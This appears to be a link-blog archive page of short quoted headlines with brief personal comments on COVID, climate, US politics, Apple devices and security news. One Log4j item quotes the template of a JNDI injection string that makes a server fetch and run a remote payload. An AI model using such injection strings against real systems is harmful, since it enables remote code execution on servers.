Link. All of these are rare in MSP now.
Author Archives: jgordon
FEMA: “December tornadoes are part of ‘new normal’ caused by climate change.”
Link. Red states have been less impacted by direct warming, but they are impacted by this.
HKUMed finds Omicron SARS-CoV-2 can infect faster and better than Delta in human bronchus but with less severe infection in lung
Link. Tissue behavior of Omicron. More bronchus, less lung.
“Cheney took the fight directly to Trump with her accusation of “dereliction of duty.”
Link. She is not a good person, but she is formidable.
“In macOS Monterey, the Live Text feature works in the Photos app, Safari, Quick Look, and the Screenshot interface.”
Link. First useful feature in a while.
Log4j: “all the attacker has to do is send a request along the lines of ${jndi:ldap://[address]/[payload file]} for the payload file to be executed in the context of the server’s Log4j logging system.”
Link. Happily is only bug like this.
Erase locked iPhone if you know your AppleID password.
Link. Was always possible with DFU.
48MP iPhone 14 camera.
Link. Samsung already does this. Apple has fallen behind.
“Magic Eraser even automatically detects fingers in iPhone/iPad scans”
Link. Scanner Pro. How do we know these features exist? Not seen on my iPhone 8.
iPad Needs a Better Oleophobic Coating
Link. “I would gladly forego Apple Pencil support to get a better coating.”
“This feature is most useful if you’re buying a used device. You can now easily tell if someone bought a broken iPhone and fixed it up with cheap parts”
Link. Parts and service history.
Nirmatrelvir for SARS-CoV-2.
Link. Good drug for high risk (unvaccinated) until resistance develops.
Early dark energy: “new physics looks like it occurred during the first ~400,000 years of the hot Big Bang, and could have taken the form of one form of “energy” transitioning into another”
Link. What 3 sigma physics is consistent with the Hubble constant gap?
“Mr. Meadows sent an email to an individual about the events on January 6 and said that the National Guard would be present to ‘protect pro Trump people’ and that many more would be available on standby.”
Link.
Threat detection: “Black students are 1.3 times more likely than White students to be referred, and special education students are 3.9 times more likely than the general student body to be referred.”
Link. Might be false positive, might be accurate. I expect a bias to false positives though. An investigation may also trigger a violent response.
“At times, we were 15 people in the small hole there; if they would find us, they would shoot all of us. We had situations like that for the whole two years.”
Link. Be like Jack.
Bitsquatting.
Link. Large numbers.
How to survive America’s defective constitution.
Link. Practical advice.
“I’ve taught A.P. social studies and geography for 21 years so there’s not much that makes me uncomfortable,” she said. “This law is so vague that it strikes me as much ado about nothing.”
Link. It’s all about guilt.
MN LTC and acute care staffing: lessons.
Link. 1. Long term care of demented is a horrible business.
2. Health care during long pandemics requires big subsidies and alternative hiring strategies.
Physical Therapist Warm-Up for lifting weights.
Link.
“Omicron is spreading in highly immune populations as quickly as the original virus did in populations with no immunity at all.”
Link. Even if half the case-hospitalization risk of Delta this would be another blow for the stressed healthcare system.
Which Twin Cities restaurants require proof of vaccination?
Link. Eating there.
“one of the most optimistic tech trends — the shift to remote work — might not be panning out as hoped”
Link. I expected that.
“In California, 1 in 26 children were diagnosed with ASD”
Link. Clinically meaningless diagnosis.
“if dogs are of smaller size and not inbred, they are much healthier than larger dogs with high inbreeding”
Link. Get a mongrel born of mongrels with some wolf on the side.
“someone is running about a thousand — 10% of the total — Tor servers in an attempt to deanonymize the network”
Link. United States of Tor.
Another Galaxy without dark matter.
Link. Very diffuse. We expect to find more.
MN state government is rolling in dough.
Link. Our forecasts were way off. Not clear why but suspect is national.
“Arnold says that more than 55 Santas in his organization (which stands at about 1,900 members) have passed away from the coronavirus.”
Link. I’d have guessed 1/40 if unvaccinated. So are they really bad at vaccines?
“policy that reduces emissions is in fact discriminatory.”
Link. We expected Trump’s GOP to come out in favor of CO2.
Life360: “app is selling data on kids’ and families’ whereabouts to approximately a dozen data brokers who have sold data to virtually anyone who wants to buy it.”
Link. Marketed to families as a safety app.
Apple Accounts “Permanently” Blocked.
Link. If you can plead to the Baron he may undo the harms of his Knights.
Manifesto for Ubiquitous Linking: some things you can do now.
Link. Actions at end.
Manifesto for Ubiquitous Linking.
Link. Every few years this returns from the grave. I’m grateful.
MSP: “No city in the United States has anything approaching the number and quality of public rinks, with free skates available to borrow.”
Link. TBF only we and Anchorage have climate now and they are much smaller. Alas, our season is much diminished.
“Trump has built the first American mass political movement in the past century that is ready to fight by any means necessary, including bloodshed, for its cause.”
Link. “insurgents were much more likely to come from a county where the white share of the population was in decline.”
“study, focusing on sexual assault cases, estimated a wrongful conviction rate of 11.6 percent.”
Link. The best measure of a nation is its justice system.
New York State Bitcoin Boom “abandoned infrastructure, often with existing connections to the power grid, can readily be converted for Bitcoin mining”
Link. No words.
“Senate Republicans on Thursday blocked a move to proceed on a law expanding background checks for gun purchases”
Link.
“Prather recommends the Web site Project N95. Masks can also be ordered directly from suppliers such as Bona Fide Masks, which sells KN95s made by Powecom. “That’s the one people swear by,” Prather says. They cost around $1 each. DemeTECH sells N95s
Link. Reuse them until they smell :-).
Noah Smith SF novel recommendations.
Link.
“90 million Americans, and the two million, are each represented by six U.S. Senators.”
Link. A brief summary of the problems of the American constitution.
AAAS did a project on repairing American democracy.
Link. I’d like a brief summary of key recommendations. Anyone?
“Apple still ships what it calls a USB-C Charge Cable—designed in the early days of USB-C—with several models of its laptops.”
Link. Despair. Great article though.
“Last quarter they got fickle about Amazon. After years of meteoric growth, its e-commerce revenue barely budged”
Link. Turns out libertarian paradise welcomes counterfeits and scams of all kinds. Eventually customers get pissed off.
Amazon funding flash mob theft.
Link. “people snatching items are paid small fees like $500 for each robbery, which then feed larger enterprises that resell the goods online” Especially Amazon marketplace.
One Omicron guest: “half of the people who attended an office Christmas party in Oslo, where only vaccinated employees were admitted, have tested positive for the coronavirus”
Link. Impressive. “everyone had tested negative for the coronavirus before the event”
Terraforming Mars in 3 Simple Steps
Link. It’s easier to create fully artificial environments.
Google Can Now Help You Find a Doctor That Takes Your Insurance
Link. “doctors near me,” – can filter by insurance plan.